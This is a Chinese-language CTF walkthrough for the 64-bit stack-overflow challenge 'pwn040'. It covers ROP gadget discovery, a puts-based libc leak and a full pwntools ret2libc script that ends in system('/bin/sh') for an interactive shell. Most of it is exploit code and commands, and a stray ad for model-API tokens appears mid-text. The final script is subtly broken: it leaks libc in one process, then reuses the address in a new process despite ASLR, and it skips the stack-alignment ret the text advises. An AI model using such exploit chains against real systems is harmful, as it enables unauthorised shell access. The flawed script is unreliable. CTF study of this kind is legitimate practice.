1. 64位ROP基础与栈溢出原理
在64位系统环境下,ROP(Return-Oriented Programming)攻击技术面临的最大挑战就是参数传递方式的改变。与32位系统通过栈传递参数不同,64位系统遵循System V AMD64 ABI调用约定,前六个整型参数通过寄存器RDI、RSI、RDX、RCX、R8、R9传递,剩余参数才通过栈传递。
这个差异直接影响了我们的漏洞利用方式。在pwn040这道题中,我们需要构造的ROP链必须考虑以下几点:
- 如何控制目标寄存器值
- 如何将参数正确传递到指定寄存器
- 如何串联多个gadget完成复杂操作
典型的寄存器控制gadget形式如下:
code复制pop rdi ; ret
pop rsi ; pop r15 ; ret
这类gadget允许我们通过栈上的数据来设置寄存器值。在构造ROP链时,我们需要先溢出覆盖返回地址,然后按顺序布置:
- gadget地址
- 该gadget需要的参数值
- 下一个gadget地址
重要提示:64位环境下,每个gadget执行后必须确保栈指针(RSP)正确对齐,否则可能导致段错误。通常需要在ROP链中插入ret指令来维持对齐。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 题目分析与漏洞定位
pwn040是一个典型的栈溢出漏洞题目,通过逆向分析可以发现以下关键信息:
- 主函数中存在不安全的gets()调用:
c复制char buf[40];
gets(buf); // 无长度限制的输入
- 检查安全机制:
bash复制checksec pwn040
[*] '/pwn040'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
从检查结果可以看出:
- 没有栈保护(Canary)
- 开启了NX(不可执行栈)
- 没有地址随机化(PIE)
这意味着我们可以使用ROP技术,但需要从已有的代码段中寻找gadget。
- 关键函数与符号:
- 存在后门函数backdoor,地址0x400687
- 提供了libc.so.6,版本为2.23
3. ROP链构造实战
3.1 计算溢出偏移量
首先确定需要多少数据才能覆盖返回地址。buf大小为40字节,加上保存的RBP(8字节),共需要48字节才能到达返回地址位置。
我们可以用cyclic工具验证:
python复制from pwn import *
cyclic(100)
输入生成的字符串,观察崩溃时的RSP值,计算精确偏移。
3.2 获取必要gadget
使用ROPgadget工具搜索可用指令:
bash复制ROPgadget --binary pwn040
关键gadget收集:
- pop rdi ; ret (0x4007c3)
- pop rsi ; pop r15 ; ret (0x4007c1)
- ret (0x400289) # 用于栈对齐
3.3 构造完整的ROP链
本题需要调用puts泄露libc地址,然后返回到main函数重新执行,最后调用system("/bin/sh")。具体步骤如下:
- 泄露puts的GOT表地址:
python复制rop = [
# 调用puts(puts@got)
p64(0x4007c3), # pop rdi ; ret
p64(elf.got['puts']),
p64(elf.plt['puts']),
# 返回到main
p64(elf.symbols['main'])
]
- 计算libc基址:
python复制puts_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
libc.address = puts_addr - libc.symbols['puts']
- 第二次溢出调用system:
python复制rop = [
# 调用system("/bin/sh")
p64(0x4007c3), # pop rdi ; ret
p64(next(libc.search(b'/bin/sh'))),
p64(libc.symbols['system'])
]
4. 完整利用脚本与调试技巧
4.1 完整exploit代码
python复制from pwn import *
context(arch='amd64', os='linux', log_level='debug')
elf = ELF('./pwn040')
libc = ELF('./libc.so.6')
def leak():
p = process('./pwn040')
# 第一次溢出泄露地址
payload = b'A'*48
payload += p64(0x4007c3) + p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])
p.sendline(payload)
puts_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
libc.address = puts_addr - libc.symbols['puts']
p.close()
return libc.address
libc.address = leak()
p = process('./pwn040')
payload = b'A'*48
payload += p64(0x4007c3) + p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.symbols['system'])
p.sendline(payload)
p.interactive()
4.2 GDB调试技巧
- 在关键位置下断点:
bash复制gdb ./pwn040
b *0x400687 # backdoor函数
b *0x4007c3 # pop rdi gadget
- 观察ROP链执行过程:
bash复制define hook-stop
x/10i $rip
x/8gx $rsp
info registers
end
- 检查栈布局:
bash复制x/20gx $rsp-0x30
5. 常见问题与解决方案
- 段错误(SEGFAULT):
- 原因:栈未对齐或gadget执行环境被破坏
- 解决:在ROP链开始处添加ret指令对齐栈
- 泄露的地址不正确:
- 原因:接收数据时未正确处理换行符
- 解决:使用recvline()[:-1]去除换行符
- system调用失败:
- 原因:环境变量未正确设置
- 解决:使用execve替代system,或设置完整的PATH环境
- 本地成功但远程失败:
- 原因:libc版本不一致
- 解决:使用Docker构建相同环境,或通过多次泄露确定偏移
经验之谈:在64位ROP中,寄存器间的依赖关系很容易被忽视。比如某些gadget会修改R15,如果后续操作依赖R15的值就会出错。建议在每个gadget执行后检查所有寄存器状态。
6. 防护绕过技巧进阶
虽然本题没有开启更多防护,但在实际比赛中可能会遇到:
- 对抗Stack Alignment:
- 插入额外的ret指令
- 使用不会影响栈指针的gadget
- 对抗有限的gadget:
- 利用mov指令间接控制寄存器
- 通过算术运算构造所需值
- 对抗libc随机化:
- 多次泄露不同函数地址提高准确性
- 使用partial write绕过ASLR
在更复杂的情况下,可能需要组合使用这些技术。比如先泄露堆地址,再通过堆操作构造更复杂的ROP链。这道题作为入门练习,重点在于掌握基础的64位参数传递和ROP链构造逻辑。
